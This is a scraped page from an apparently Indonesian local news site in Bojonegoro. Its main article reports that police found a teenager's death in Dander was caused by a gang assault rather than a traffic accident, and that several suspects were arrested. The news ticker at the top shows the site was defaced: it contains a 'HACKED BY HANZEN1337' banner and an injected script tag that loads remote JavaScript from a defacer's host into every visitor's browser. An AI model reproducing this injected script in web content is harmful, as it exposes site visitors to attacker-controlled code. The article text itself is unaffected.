News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Penyebab Kematian Remaja di Dander, Bojonegoro Bukan Karena Kecelakaan tapi Penganiayaan

Hukum

Penyebab Kematian Remaja di Dander, Bojonegoro Bukan Karena Kecelakaan tapi Penganiayaan

Bojonegoro - Misteri meninggalnya seorang remaja berinisial GRM atau Galang (18), warga Desa Ngumpakdalem RT 009 RW 003, Kecamatan Dander, Kabupaten Bojonegoro, Jawa Timur, pada Senin dini hari (12/02/2024), akhirnya terungkap.
 
Sebelumnya, penyebab kematian korban diindikasikan akibat kecelakaan lalu lintas. Namun dari keterangan para saksi dan dari hasil penyelidikan Sat Reskrim Polres Bojonegoro, akhirnya penyebab kematian korban telah diketahui.
 
 
Selain itu, pada Selasa malam (13/02/2024), polisi juga telah melakukan pembongkaran terhadap makam korban guna melakukan autopsi terhadap jenazah korban.
 
Berdasarkan keterangan polisi, korban meninggal dunia akibat pengeroyokan atau penganiayaan.
 
Bahkan, saat ini polisi juga telah berhasil menangkap beberapa orang yang diduga sebagai pelaku pengeroyokan atau penganiayaan, yang mengakibatkan korban meninggal dunia.
 
Hal tersebut disampaikan Kapolres Bojonegoro Ajun Komisaris Besar Polisi (AKBP) Mario Prahatinto dalam konferensi pers di Mapolres Bojonegoro, Senin (19/02/2024).
 
“Kejadian tersebut diduga tindak pidana kekerasan (pengeroyokan) terhadap orang yang mengakibatkan meninggal dunia,” kata AKBP Mario Prahatinto.
 
 
Kapolres menjelaskan bahwa kejadian tersebut terjadi pada Senin (12/02/2024) sekitar pukul 01.30 WIB, dan dilaporkan oleh orang tua (ibu) korban berinisial EC (38), pada hari Selasa (13/02/2024) pukul 18.00 WIB.
 
“Dari hasil penyidikan dan olah TKP di lapangan, alhamdulillah Sat Reskrim telah menangkap 9 orang. “Dari hasil lidik ada 15 pelaku. Masih kurang enam orang (pelaku) dan dalam masa penyelidikan,” kata Kapolres.
 
Kapolres menjelaskan bahwa kronologis kejadian tersebut bermula pada awalnya korban Galang dan temannya berinisial RMA mengendarai sepeda motor Honda CB 150 R, berjalan dari arah timur (Pasar Mojoranu) ke barat. Sesampainya di pertigaan SMP Negeri 3 Mastrip belok ke utara arah Desa Ngumpakdalem.
 
“Saudara MRA ini berboncengan dengan saudara G (Galang), itu yang almarhum,” kata Kapolres.
 
 
Di saat yang bersamaan, ada beberapa motor pelaku dari arah utara menuju ke selatan dan sesampainya lokasi kejadian atau saat berpapasan, terjadi pelemparan batu oleh salah satu tersangka dan mengenai wajah korban. Karena tidak seimbang, korban jatuh ke arah barat dan pengemudi motor (MRA) jatuh beberapa meter setelah titik senggolan. Selanjutnya para pelaku langsung melanjutkan perjalanan ke selatan.
 
“Akibat kejadian tersebut korban meninggal dunia di lokasi kejadian.” kata Kapolres AKBP Mario Prahatinto.
 
Atas perbuatannya para tersangka dijerat dengan Pasal 170 ayat (3) KUHP dan atau Pasal 351 ayat (3) KUHP dan atau Pasal 358 KUHP. “Ancaman hukuman pidana maksimal 12 tahun penjara,” kata Kapolres Bojonegoro, AKBP Mario Prahatinto.
 
 
 
 
 
Diberitakan sebelumnya, pada Senin dini hari (12/02/2024), Galang menderita luka-luka di duga akibat dianiaya oleh segerombolan orang tidak dikenal di jalan raya Bojonegoro-Nganjuk, turut Desa Mojoranu, Kecamatan Dander, Kabupaten Bojonegoro.
 
Selanjutnya oleh teman-temannya, korban dibawa ke Rumah Sakit Bhayangkara Wahyu Tutuko Bojonegoro, namun korban akhirnya meninggal dunia saat dalam perawatan di rumah sakit.
 
 
Saat itu, sumber dari kepolisian menyebutkan bahwa korban meninggal akibat kecelakaan lalu lintas. Bahkan surat kematian dari rumah sakit menyebutkan bahwa penyebab kematian korban akibat kecelakaan.
 
Namun ibu korban, Eko Cahyo Puspaningrum (38) meyakini bahwa anaknya meninggal bukan akibat kecelakaan, karena dari keterangan teman-teman anaknya atau saksi yang ada di lokasi kejadian, mereka mengaku sempat dikeroyok segerombolan orang tidak dikenal.
 
Kini, perkara tersebut telah terungkap. Penyebab kematian korban akibat pengeroyokan atau penganiayaan. Dan polisi juga telah menangkap sejumlah orang yang diduga sebagai pelaku pengeroyokan tersebut. (red/imm)
 
 
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
Berita Terkait
1783870559.8084 at start, 1783870560.1576 at end, 0.34915113449097 sec elapsed